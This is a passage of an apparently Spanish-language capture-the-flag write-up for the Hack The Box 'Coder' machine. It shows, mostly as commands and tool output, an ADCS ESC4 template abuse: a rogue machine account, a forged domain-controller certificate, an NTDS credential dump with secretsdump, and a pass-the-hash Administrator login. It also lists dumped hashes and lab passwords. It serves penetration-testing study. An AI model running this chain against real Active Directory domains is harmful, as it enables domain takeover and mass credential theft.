Domain Controller Authentication
Directory Email Replication
Workstation Authentication
RAS and IAS Server
OCSP Response Signing
Kerberos Authentication
Coder-WebServer
```

```
*Evil-WinRM* PS C:\Users\e.black\Documents\ADCS> $vulnTemplate = Export-ADCSTemplate -DisplayName Computer
*Evil-WinRM* PS C:\Users\e.black\Documents\ADCS> $vulnTemplate
{
    "name":  "Machine",
    "displayName":  "Computer",
    "objectClass":  "pKICertificateTemplate",
    "flags":  66144,
    "revision":  5,
    "msPKI-Cert-Template-OID":  "1.3.6.1.4.1.311.21.8.1652193.6987789.10832019.10853014.6525115.234.1.14",
    "msPKI-Certificate-Name-Flag":  402653184,
    "msPKI-Enrollment-Flag":  32,
    "msPKI-Minimal-Key-Size":  2048,
    "msPKI-Private-Key-Flag":  0,
    "msPKI-RA-Signature":  0,
    "msPKI-Template-Minor-Revision":  1,
    "msPKI-Template-Schema-Version":  1,
    "pKICriticalExtensions":  [
                                  "2.5.29.15"
                              ],
    "pKIDefaultCSPs":  [
                           "1,Microsoft RSA SChannel Cryptographic Provider"
                       ],
    "pKIDefaultKeySpec":  1,
    "pKIExpirationPeriod":  [
                                0,
                                64,
                                57,
                                135,
                                46,
                                225,
                                254,
                                255
                            ],
    "pKIExtendedKeyUsage":  [
                                "1.3.6.1.5.5.7.3.2",
                                "1.3.6.1.5.5.7.3.1"
                            ],
    "pKIKeyUsage":  [
                        160,
                        0
                    ],
    "pKIMaxIssuingDepth":  0,
    "pKIOverlapPeriod":  [
                             0,
                             128,
                             166,
                             10,
                             255,
                             222,
                             255,
                             255
                         ]
```

```
*Evil-WinRM* PS C:\Users\e.black\Documents\ADCS> $vulnTemplate = ConvertFrom-json $vulnTemplate
*Evil-WinRM* PS C:\Users\e.black\Documents\ADCS> $vulnTemplate.'msPKI-Enrollment-Flag'
32
*Evil-WinRM* PS C:\Users\e.black\Documents\ADCS> $vulnTemplate.'msPKI-Enrollment-Flag' = 0x80000
*Evil-WinRM* PS C:\Users\e.black\Documents\ADCS> $vulnTemplate.'msPKI-Enrollment-Flag' | convertto-json
524288
*Evil-WinRM* PS C:\Users\e.black\Documents\ADCS> $vulnTemplate | convertto-json
{
    "name":  "Machine",
    "displayName":  "Computer",
    "objectClass":  "pKICertificateTemplate",
    "flags":  66144,
    "revision":  5,
    "msPKI-Cert-Template-OID":  "1.3.6.1.4.1.311.21.8.1652193.6987789.10832019.10853014.6525115.234.1.14",
    "msPKI-Certificate-Name-Flag":  402653184,
    "msPKI-Enrollment-Flag":  524288,
    "msPKI-Minimal-Key-Size":  2048,
    "msPKI-Private-Key-Flag":  0,
    "msPKI-RA-Signature":  0,
    "msPKI-Template-Minor-Revision":  1,
    "msPKI-Template-Schema-Version":  1,
    "pKICriticalExtensions":  [
                                  "2.5.29.15"
                              ],
    "pKIDefaultCSPs":  [
                           "1,Microsoft RSA SChannel Cryptographic Provider"
                       ],
    "pKIDefaultKeySpec":  1,
    "pKIExpirationPeriod":  [
                                0,
                                64,
                                57,
                                135,
                                46,
                                225,
                                254,
                                255
                            ],
    "pKIExtendedKeyUsage":  [
                                "1.3.6.1.5.5.7.3.2",
                                "1.3.6.1.5.5.7.3.1"
                            ],
    "pKIKeyUsage":  [
                        160,
                        0
                    ],
    "pKIMaxIssuingDepth":  0,
    "pKIOverlapPeriod":  [
                             0,
                             128,
                             166,
                             10,
                             255,
                             222,
                             255,
                             255
                         ]
}

*Evil-WinRM* PS C:\Users\e.black\Documents\ADCS> New-ADCSTemplate -DisplayName VulnTemplate -Publish -JSON (cat out.json -raw)
```

#Una vez, aplicado el certificado, comprobamos con la herramienta certipy
#Vemos como el usuario ahora es vulnerable.

```
certipy-ad find -u e.black@coder.htb -p 'ypOSJXPqlDOxxbQSfEERy300' -dc-ip 10.10.11.207 -vulnerable -stdout
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Trying to get CA configuration for 'coder-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'coder-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'coder-DC01-CA' via RRP
[*] Got CA configuration for 'coder-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : coder-DC01-CA
    DNS Name                            : dc01.coder.htb
    Certificate Subject                 : CN=coder-DC01-CA, DC=coder, DC=htb
    Certificate Serial Number           : 2180F0D10CFECB9840260D0730724BDF
    Certificate Validity Start          : 2022-06-29 03:51:44+00:00
    Certificate Validity End            : 2052-06-29 04:01:44+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : CODER.HTB\Administrators
      Access Rights
        ManageCa                        : CODER.HTB\Administrators
                                          CODER.HTB\Domain Admins
                                          CODER.HTB\Enterprise Admins
        ManageCertificates              : CODER.HTB\Administrators
                                          CODER.HTB\Domain Admins
                                          CODER.HTB\Enterprise Admins
        Enroll                          : CODER.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : VulnTemplate
    Display Name                        : VulnTemplate
    Certificate Authorities             : coder-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireDns
                                          SubjectRequireDnsAsCn
    Enrollment Flag                     : NoSecurityExtension
    Extended Key Usage                  : Server Authentication
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Object Control Permissions
        Owner                           : CODER.HTB\Erron Black
        Full Control Principals         : CODER.HTB\Domain Admins
                                          CODER.HTB\Local System
                                          CODER.HTB\Enterprise Admins
        Write Owner Principals          : CODER.HTB\Domain Admins
                                          CODER.HTB\Local System
                                          CODER.HTB\Enterprise Admins
        Write Dacl Principals           : CODER.HTB\Domain Admins
                                          CODER.HTB\Local System
                                          CODER.HTB\Enterprise Admins
        Write Property Principals       : CODER.HTB\Domain Admins
                                          CODER.HTB\Local System
                                          CODER.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by CODER.HTB\Erron Black
```

addcomputer.py

```
./addcomputer.py 'coder.htb/s.blade:AmcwNO60Zg3vca3o0HDrTC6D' -computer-name 'PWN_PC' -computer-pass PleaseSub -method LDAPS -computer-group 'OU=BUILDAGENTS,OU=DEVELOPMENT,DC=CODER,DC=HTB'
Impacket v0.12.0.dev1+20231114.165227.4b56c18a - Copyright 2023 Fortra

[*] Successfully added machine account PWN_PC$ with password PleaseSub.



*Evil-WinRM* PS C:\Users\e.black\Documents\ADCS> get-adcomputer 'PWN_PC'


DistinguishedName : CN=PWN_PC,OU=BuildAgents,OU=Development,DC=coder,DC=htb
DNSHostName       : dc01.coder.htb
Enabled           : True
Name              : PWN_PC
ObjectClass       : computer
ObjectGUID        : 9bec28c5-0828-472e-96b1-e8ffb8cfa17b
SamAccountName    : PWN_PC$
SID               : S-1-5-21-2608251805-3526430372-1546376444-20603
UserPrincipalName :



*Evil-WinRM* PS C:\Users\e.black\Documents\ADCS> set-ADCSTemplateACL -displayName VulnTemplate -type allow -id coder\PWN_PC$ -enroll

certipy-ad req -u 'PWN_PC$' -p 'PleaseSub' -ca CODER-DC01-CA -template VulnTemplate -target dc01.coder.htb
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 17
[*] Got certificate with DNS Host Name 'dc01.coder.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'dc01.pfx'

certipy-ad auth -pfx dc01.pfx
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Using principal: dc01$@coder.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

ntpdate 10.10.11.207
2024-01-11 23:35:25.130906 (+0100) +25043.209288 +/- 0.061798 10.10.11.207 s1 no-leap
CLOCK: time stepped by 25043.209288

┌──(root㉿kali)-[~/Desktop/machines/Coder]
└─# certipy-ad auth -pfx dc01.pfx
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Using principal: dc01$@coder.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash for 'dc01$@coder.htb': aad3b435b51404eeaad3b435b51404ee:56dc040d21ac40b33206ce0c2f164f94


#Ya tenemos el hash
--> 56dc040d21ac40b33206ce0c2f164f94

impacket-secretsdump coder.htb/dc01\$@dc01.coder.htb -hashes :56dc040d21ac40b33206ce0c2f164f94 -dc-ip dc01.coder.htb
Impacket v0.12.0.dev1+20231114.165227.4b56c18a - Copyright 2023 Fortra

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
```

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:43460d636f269c709b20049cee36ae7a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:26000ce1f6ca4029ec5d3a95631e797c:::
coder.htb\e.black:1106:aad3b435b51404eeaad3b435b51404ee:e1b96bbb66a073787a3310b5a956200d:::
coder.htb\c.cage:1107:aad3b435b51404eeaad3b435b51404ee:3ab6e9f70dbc0d19623be042d224b993:::
coder.htb\j.briggs:1108:aad3b435b51404eeaad3b435b51404ee:e38976c0b20e3e41e9c62da792115a33:::
coder.htb\l.kang:1109:aad3b435b51404eeaad3b435b51404ee:b8aba4878e4777864b292731ac88b4cd:::
coder.htb\s.blade:1110:aad3b435b51404eeaad3b435b51404ee:4e4a79beed7d042627d0a7b10f5d008a:::
coder.htb\svc_teamcity:5101:aad3b435b51404eeaad3b435b51404ee:4c5a6890e09834a6834dbf7a76bf20cb:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:56dc040d21ac40b33206ce0c2f164f94:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:7d76ef28a031b7d47c8e339621e49dd2f82dc40d3ddbb517fb739d9eecaa1d26
Administrator:aes128-cts-hmac-sha1-96:6bc673a3342983df285a6a8362a0f1d6
Administrator:des-cbc-md5:2a76a1ef46f28920
krbtgt:aes256-cts-hmac-sha1-96:aeb517a1efec8b79479cb1432e734555bc1039bcbd77bcdc39234b37199a70d3
krbtgt:aes128-cts-hmac-sha1-96:2bab4af978e4cee0b58fa1d377d35981
krbtgt:des-cbc-md5:100489b5839798cb
coder.htb\e.black:aes256-cts-hmac-sha1-96:ccb6c47af9a05d91e7610fe396cd8ffcc0e51279a2eee253fab1fb40536a5a85
coder.htb\e.black:aes128-cts-hmac-sha1-96:650ad0d49ab4bcff325a7f2a846d433f
[*] Cleaning up...
```

```
#Admin passwd
--> 43460d636f269c709b20049cee36ae7a

evil-winrm -i dc01.coder.htb -u administrator -H 43460d636f269c709b20049cee36ae7a

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

#Root flag.
0caba6d4f3b24c654624660a18f26e3c
```

creeds

s.blade:AmcwNO60Zg3vca3o0HDrTC6D
e.black:ypOSJXPqlDOxxbQSfEERy300